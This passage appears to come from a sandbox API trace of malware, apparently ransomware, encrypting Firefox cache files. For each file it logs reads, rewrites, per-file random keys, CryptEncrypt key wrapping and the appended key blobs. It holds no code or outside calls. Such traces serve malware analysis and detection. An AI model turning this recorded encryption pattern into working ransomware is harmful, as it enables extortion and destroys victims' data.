lDistanceToMove=-3825, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.090] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eff78*, nNumberOfBytesToWrite=0xef1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eff78*, lpNumberOfBytesWritten=0x2e1f9bc*=0xef1, lpOverlapped=0x0) returned 1 [0183.091] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xef1 [0183.091] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.091] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2eea7e8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2eea7e8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.091] WriteFile (in: hFile=0x1b80, lpBuffer=0x2eea7e8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eea7e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.091] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.092] CloseHandle (hObject=0x1b80) returned 1 [0183.093] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x2ee3db0 | out: pbBuffer=0x2ee3db0) returned 1 [0183.093] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.093] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F1BBF2C5E387A93BE1435B536CAD811A9B2972CB", dwFileAttributes=0x80) returned 1 [0183.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x2ee5040 [0183.093] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.093] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x113e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x113e, lpOverlapped=0x0) returned 1 [0183.105] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4414, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.105] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f01c0*, nNumberOfBytesToWrite=0x113e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f01c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x113e, lpOverlapped=0x0) returned 1 [0183.105] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x113e [0183.105] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.105] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ee3db0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x2ee3db0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.106] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ee3db0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3db0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.106] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.106] CloseHandle (hObject=0x1b80) returned 1 [0183.108] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed9e0 | out: pbBuffer=0x30ed9e0) returned 1 [0183.108] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0183.108] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F1B08188F72CD4FD96B13844124B837FDB3CDD50", dwFileAttributes=0x80) returned 1 [0183.108] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x2ee5670 [0183.108] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.108] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0xef7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0xef7, lpOverlapped=0x0) returned 1 [0183.143] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.143] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eff78*, nNumberOfBytesToWrite=0xef7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eff78*, lpNumberOfBytesWritten=0x2e1f9bc*=0xef7, lpOverlapped=0x0) returned 1 [0183.143] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xef7 [0183.143] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.143] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ed9e0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ed9e0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.144] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ed9e0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ed9e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.144] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.144] CloseHandle (hObject=0x1b80) returned 1 [0183.148] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed8d8 | out: pbBuffer=0x30ed8d8) returned 1 [0183.148] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.148] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F18D85F52EBBBA2AB081EF739ED0D6E8A76D497C", dwFileAttributes=0x80) returned 1 [0183.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ed9e0 [0183.149] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.149] ReadFile (in: hFile=0x1b80, lpBuffer=0x56f118, nNumberOfBytesToRead=0x65, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56f118*, lpNumberOfBytesRead=0x2e1f9bc*=0x65, lpOverlapped=0x0) returned 1 [0183.149] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-101, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.149] WriteFile (in: hFile=0x1b80, lpBuffer=0x5698c8*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5698c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x65, lpOverlapped=0x0) returned 1 [0183.150] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x65 [0183.150] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.150] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ed8d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ed8d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.150] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ed8d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ed8d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.150] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.151] CloseHandle (hObject=0x1b80) returned 1 [0183.152] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed8d8 | out: pbBuffer=0x30ed8d8) returned 1 [0183.152] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0183.152] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F17F04878A68505AE5481A71D8B733C5FFC6F285", dwFileAttributes=0x80) returned 1 [0183.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ed9e0 [0183.153] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.153] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x18d4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x18d4, lpOverlapped=0x0) returned 1 [0183.159] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6356, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.159] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0958*, nNumberOfBytesToWrite=0x18d4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0958*, lpNumberOfBytesWritten=0x2e1f9bc*=0x18d4, lpOverlapped=0x0) returned 1 [0183.159] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x18d4 [0183.159] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.159] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ed8d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ed8d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.160] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ed8d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ed8d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.160] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.160] CloseHandle (hObject=0x1b80) returned 1 [0183.162] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed7d0 | out: pbBuffer=0x30ed7d0) returned 1 [0183.162] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0183.162] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F172F3A946BA122017AA3B6253B931733CD98C57", dwFileAttributes=0x80) returned 1 [0183.162] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ed8d8 [0183.162] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.162] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x14b1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x14b1, lpOverlapped=0x0) returned 1 [0183.168] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-5297, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.168] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0538*, nNumberOfBytesToWrite=0x14b1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14b1, lpOverlapped=0x0) returned 1 [0183.168] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14b1 [0183.168] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.168] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ed7d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ed7d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.168] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ed7d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ed7d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.169] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.169] CloseHandle (hObject=0x1b80) returned 1 [0183.170] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed8d8 | out: pbBuffer=0x30ed8d8) returned 1 [0183.170] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.171] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F10533AF991E4645014EB7857F4CA4F7BF0D2304", dwFileAttributes=0x80) returned 1 [0183.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30edae8 [0183.171] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.171] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0xc19, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0xc19, lpOverlapped=0x0) returned 1 [0183.187] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3097, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.187] WriteFile (in: hFile=0x1b80, lpBuffer=0x30efca0*, nNumberOfBytesToWrite=0xc19, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30efca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc19, lpOverlapped=0x0) returned 1 [0183.188] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc19 [0183.188] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.188] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ed8d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ed8d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.188] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ed8d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ed8d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.188] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.188] CloseHandle (hObject=0x1b80) returned 1 [0183.190] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ee430 | out: pbBuffer=0x30ee430) returned 1 [0183.190] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.190] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F0EB2346E30E6575D9159FAAC2D28582EDEE6AE6", dwFileAttributes=0x80) returned 1 [0183.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30ed1a0 [0183.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.190] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0xdff, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0xdff, lpOverlapped=0x0) returned 1 [0183.195] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.195] WriteFile (in: hFile=0x1b80, lpBuffer=0x30efe80*, nNumberOfBytesToWrite=0xdff, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30efe80*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdff, lpOverlapped=0x0) returned 1 [0183.196] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdff [0183.196] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.196] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ee430*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ee430*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.196] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ee430*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ee430*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.197] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.197] CloseHandle (hObject=0x1b80) returned 1 [0183.201] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed7d0 | out: pbBuffer=0x30ed7d0) returned 1 [0183.201] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.202] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EFC8814869821F7C83B400CF0F41FA9623F126A2", dwFileAttributes=0x80) returned 1 [0183.202] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eee80 [0183.202] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.202] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0183.218] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.218] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ef078*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d4, lpOverlapped=0x0) returned 1 [0183.219] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d4 [0183.219] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.219] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ed7d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ed7d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.219] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ed7d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ed7d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.219] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.220] CloseHandle (hObject=0x1b80) returned 1 [0183.223] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30ed7d0 | out: pbBuffer=0x30ed7d0) returned 1 [0183.223] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.223] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\EFAF9EB99E327835B6967A4E9F5034990DF6B1B8", dwFileAttributes=0x80) returned 1 [0183.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30eee80 [0183.223] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0183.224] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef078, nNumberOfBytesToRead=0x2040, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef078*, lpNumberOfBytesRead=0x2e1f9bc*=0x2040, lpOverlapped=0x0) returned 1 [0183.231] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-8256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.231] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f10c0*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f10c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2040, lpOverlapped=0x0) returned 1 [0183.231] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2040 [0183.232] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0183.232] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30ed7d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30ed7d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0183.232] WriteFile (in: hFile=0x1b80, lpBuffer=0x30ed7d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ed7d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0183.232] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0183.232] CloseHandle (hObject=0x1b80) returned 1 [0183.234] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30eee80 | out: pbBuffer=0x30eee80) returned 1 [0183.234] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0183.234] SetFileAttributesW 